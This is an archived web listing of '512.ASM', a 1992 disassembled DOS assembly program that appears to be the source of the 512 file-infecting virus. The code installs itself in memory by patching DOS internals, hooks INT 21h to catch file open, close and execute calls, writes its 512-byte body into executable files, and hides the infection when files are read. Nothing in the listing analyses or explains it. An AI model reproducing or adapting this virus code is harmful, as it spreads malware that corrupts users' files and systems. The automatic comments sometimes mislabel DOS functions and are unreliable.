home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / 512.ASM < prev    next >
Assembly Source File  |  1992-05-31  |  9KB  |  269 lines

  1. ;PROGRAM NAME:      512.com
  2. ;-------------------------------------------------
  3. H00100: MOV    AH,30h
  4.         INT    21h             ;DOS Version#
  5.         MOV    SI,0004h
  6.         MOV    DS,SI           ;SEGMENT OPERATION
  7.         CMP    Byte Ptr AH,1Eh
  8.         LDS    AX,[SI+08h]
  9.         JB     H0011B          ; . . . . . . . . .
  10.         MOV    AH,13h
  11.         INT    2Fh             ;Print Spooler Ctrl
  12.         PUSH   DS              ;SEGMENT OPERATION
  13.         PUSH   DX
  14.         INT    2Fh             ;Print Spooler Ctrl
  15.         POP    AX
  16.         POP    DS              ;SEGMENT OPERATION
  17. H0011B: MOV    DI,00F8h
  18.         STOSW  
  19.         MOV    AX,DS
  20.         STOSW  
  21.         MOV    DS,SI           ;SEGMENT OPERATION
  22.         LDS    AX,[SI+40h]
  23.         STOSW  
  24.         CMP    AX,0121h
  25.         MOV    AX,DS
  26.         STOSW  
  27.         PUSH   ES              ;SEGMENT OPERATION
  28.         PUSH   DI
  29.         JNZ    H00139          ; . . . . . . . . .
  30.         SHL    Word Ptr SI,1
  31.         MOV    CX,0100h
  32.         REPZ   
  33.         CMPSW  
  34. H00139: PUSH   CS              ;SEGMENT OPERATION
  35.         POP    DS              ;SEGMENT OPERATION
  36.         JZ     H00187          ; . . . . . . . . .
  37.         MOV    AH,52h
  38.         INT    21h             ;INDEF FUNCTION
  39.         PUSH   ES              ;SEGMENT OPERATION
  40.         MOV    SI,00F8h
  41.         SUB    DI,DI
  42.         LES    AX,ES:[BX+12h]
  43.         MOV    DX,ES:[DI+02h]
  44.         MOV    CX,0104h
  45.         REPZ   
  46.         MOVSW  
  47.         MOV    DS,CX           ;SEGMENT OPERATION
  48.         MOV    DI,0016h
  49.         MOV    Word Ptr [DI+6E],0121h
  50.         MOV    [DI+70h],ES
  51.         POP    DS              ;SEGMENT OPERATION
  52.         MOV    [BX+14h],DX
  53.         MOV    DX,CS
  54.         MOV    DS,DX           ;SEGMENT OPERATION
  55.         MOV    BX,[DI-14h]
  56.         DEC    Byte Ptr BH
  57.         MOV    ES,BX           ;SEGMENT OPERATION
  58.         CMP    DX,[DI]
  59.         MOV    DS,[DI]         ;SEGMENT OPERATION
  60.         MOV    DX,[DI]
  61.         DEC    DX
  62.         MOV    DS,DX           ;SEGMENT OPERATION
  63.         MOV    SI,CX
  64.         MOV    DX,DI
  65.         MOV    CL,08h
  66.         REPZ   
  67.         MOVSW  
  68.         MOV    DS,BX           ;SEGMENT OPERATION
  69.         JB     H00197          ; . . . . . . . . .
  70.         INT    20h             ;TERMINATE normally
  71. ;-------------------------------------------------
  72. H00187: MOV    SI,CX
  73.         MOV    DS,[SI+2Ch]     ;SEGMENT OPERATION
  74. H0018C: LODSW                  ; . . . . . . . . .
  75.         DEC    SI
  76.         TEST   AX,AX
  77.         JNZ    H0018C          ; . . . . . . . . .
  78.         ADD    Word Ptr SI,+03h
  79.         MOV    DX,SI
  80. H00197: MOV    AH,3Dh
  81.         CALL   H001B0          ; . . . . . . . . .
  82.         MOV    DX,[DI]
  83.         MOV    [DI+04h],DX
  84.         ADD    [DI],CX
  85.         POP    DX
  86.         PUSH   DX
  87.         PUSH   CS              ;SEGMENT OPERATION
  88.         POP    ES              ;SEGMENT OPERATION
  89.         PUSH   CS              ;SEGMENT OPERATION
  90.         POP    DS              ;SEGMENT OPERATION
  91.         PUSH   DS              ;SEGMENT OPERATION
  92.         MOV    AL,50h
  93.         PUSH   AX
  94.         MOV    AH,3Fh
  95.         RETF   
  96. ;-------------------------------------------------
  97. H001B0: INT    21h             ;INDEF FUNCTION
  98.         JB     H001CD          ; . . . . . . . . .
  99.         MOV    BX,AX
  100. H001B6: PUSH   BX
  101.         MOV    AX,1220h
  102.         INT    2Fh             ;Print Spooler Ctrl
  103.         MOV    BL,ES:[DI]
  104.         MOV    AX,1216h
  105.         INT    2Fh             ;Print Spooler Ctrl
  106.         POP    BX
  107.         PUSH   ES              ;SEGMENT OPERATION
  108.         POP    DS              ;SEGMENT OPERATION
  109.         ADD    Word Ptr DI,+11h
  110.         MOV    CX,0200h
  111. H001CD: RET    
  112. ;-------------------------------------------------
  113. H001CE: STI    
  114.         PUSH   ES              ;SEGMENT OPERATION
  115.         PUSH   SI
  116.         PUSH   DI
  117.         PUSH   BP
  118.         PUSH   DS              ;SEGMENT OPERATION
  119.         PUSH   CX
  120.         CALL   H001B6          ; . . . . . . . . .
  121.         MOV    BP,CX
  122.         MOV    SI,[DI+04h]
  123.         POP    CX
  124.         POP    DS              ;SEGMENT OPERATION
  125.         CALL   H00211          ; . . . . . . . . .
  126.         JB     H0020A          ; . . . . . . . . .
  127.         CMP    SI,BP
  128.         JNB    H0020A          ; . . . . . . . . .
  129.         PUSH   AX
  130.         MOV    AL,ES:[DI-04h]
  131.         NOT    Byte Ptr AL 
  132.         AND    AL,1Fh
  133.         JNZ    H00209          ; . . . . . . . . .
  134.         ADD    SI,ES:[DI]
  135.         XCHG   SI,ES:[DI+04h]
  136.         ADD    ES:[DI],BP      ;SEGMENT OPERATION
  137.         CALL   H00211          ; . . . . . . . . .
  138.         MOV    ES:[DI+04h],SI  ;SEGMENT OPERATION
  139.         LAHF   
  140.         SUB    ES:[DI],BP      ;SEGMENT OPERATION
  141.         SAHF   
  142. H00209: POP    AX
  143. H0020A: POP    BP
  144.         POP    DI
  145.         POP    SI
  146.         POP    ES              ;SEGMENT OPERATION
  147.         RETF   0002h
  148. ;-------------------------------------------------
  149. H00211: MOV    AH,3Fh
  150. H00213: PUSHF  
  151.         PUSH   CS              ;SEGMENT OPERATION
  152.         CALL   H0023A          ; . . . . . . . . .
  153.         RET    
  154. ;-------------------------------------------------
  155.         CMP    Byte Ptr AH,3Fh
  156.         JZ     H001CE          ; . . . . . . . . .
  157.         PUSH   DS              ;SEGMENT OPERATION
  158.         PUSH   ES              ;SEGMENT OPERATION
  159.         PUSH   AX
  160.         PUSH   BX
  161.         PUSH   CX
  162.         PUSH   DX
  163.         PUSH   SI
  164.         PUSH   DI
  165.         CMP    Byte Ptr AH,3Eh
  166.         JZ     H0023F          ; . . . . . . . . .
  167.         CMP    AX,4B00h
  168.         MOV    AH,3Dh
  169.         JZ     H00241          ; . . . . . . . . .
  170. H00232: POP    DI
  171.         POP    SI
  172.         POP    DX
  173.         POP    CX
  174.         POP    BX
  175.         POP    AX
  176.         POP    ES              ;SEGMENT OPERATION
  177.         POP    DS              ;SEGMENT OPERATION
  178. H0023A: JMP    Far CS:[H00004h]
  179. ;-------------------------------------------------
  180. H0023F: MOV    AH,45h
  181. H00241: CALL   H001B0          ; . . . . . . . . .
  182.         JB     H00232          ; . . . . . . . . .
  183.         SUB    AX,AX
  184.         MOV    [DI+04h],AX
  185.         MOV    Byte Ptr [DI-0Fh],02h
  186.         CLD    
  187.         MOV    DS,AX           ;SEGMENT OPERATION
  188.         MOV    SI,004Ch
  189.         LODSW                  ; . . . . . . . . .
  190.         PUSH   AX
  191.         LODSW                  ; . . . . . . . . .
  192.         PUSH   AX
  193.         PUSH   [SI+40h]
  194.         PUSH   [SI+42h]
  195.         LDS    DX,CS:[SI-50h]
  196.         MOV    AX,2513h
  197.         INT    21h             ;Set Intrpt Vector
  198.         PUSH   CS              ;SEGMENT OPERATION
  199.         POP    DS              ;SEGMENT OPERATION
  200.         MOV    DX,0204h
  201.         MOV    AL,24h
  202.         INT    21h             ;Write Random Rcds
  203.         PUSH   ES              ;SEGMENT OPERATION
  204.         POP    DS              ;SEGMENT OPERATION
  205.         MOV    AL,[DI-04h]
  206.         AND    AL,1Fh
  207.         CMP    AL,1Fh
  208.         JZ     H00284          ; . . . . . . . . .
  209.         MOV    AX,[DI+17h]
  210.         SUB    AX,4F43h
  211.         JNZ    H002C3          ; . . . . . . . . .
  212. H00284: XOR    [DI-04h],AL
  213.         MOV    AX,[DI]
  214.         CMP    AX,CX
  215.         JB     H002C3          ; . . . . . . . . .
  216.         ADD    AX,CX
  217.         JB     H002C3          ; . . . . . . . . .
  218.         TEST   Byte Ptr [DI-0Dh],04h
  219.         JNZ    H002C3          ; . . . . . . . . .
  220.         LDS    SI,[DI-0Ah]
  221.         DEC    AX
  222.         SHR    Byte Ptr AH,1
  223.         AND    AH,[SI+04h]
  224.         JZ     H002C3          ; . . . . . . . . .
  225.         MOV    AX,0020h
  226.         MOV    DS,AX           ;SEGMENT OPERATION
  227.         SUB    DX,DX
  228.         CALL   H00211          ; . . . . . . . . .
  229.         MOV    SI,DX
  230.         PUSH   CX
  231. H002AF: LODSB                  ; . . . . . . . . .
  232.         CMP    AL,CS:[SI+07h]
  233.         JNZ    H002DD          ; . . . . . . . . .
  234.         LOOP   H002AF          ; . . . . . . . . .
  235.         POP    CX
  236. H002B9: OR     Byte Ptr ES:[DI-04h],1Fh
  237. H002BE: OR     Byte Ptr ES:[DI-0Bh],40h
  238. H002C3: MOV    AH,3Eh
  239.         CALL   H00213          ; . . . . . . . . .
  240.         OR     Byte Ptr ES:[DI-0Ch],40h
  241.         POP    DS              ;SEGMENT OPERATION
  242.         POP    DX
  243.         MOV    AX,2524h
  244.         INT    21h             ;Set Intrpt Vector
  245.         POP    DS              ;SEGMENT OPERATION
  246.         POP    DX
  247.         MOV    AL,13h
  248.         INT    21h             ;Write Random Rcds
  249.         JMP    H00232
  250. ;-------------------------------------------------
  251. H002DD: POP    CX
  252.         MOV    SI,ES:[DI]
  253.         MOV    ES:[DI+04h],SI  ;SEGMENT OPERATION
  254.         MOV    AH,40h
  255.         INT    21h             ;Write File/Device
  256.         JB     H002BE          ; . . . . . . . . .
  257.         MOV    ES:[DI],SI      ;SEGMENT OPERATION
  258.         MOV    ES:[DI+04h],DX  ;SEGMENT OPERATION
  259.         PUSH   CS              ;SEGMENT OPERATION
  260.         POP    DS              ;SEGMENT OPERATION
  261.         MOV    DL,08h
  262.         MOV    AH,40h
  263.         INT    21h             ;Write File/Device
  264.         JMP    Short H002B9
  265. ;-------------------------------------------------
  266.         IRET   
  267. ;-------------------------------------------------
  268.         ADD    SS:[BX+SI],AL   ;SEGMENT OPERATION
  269.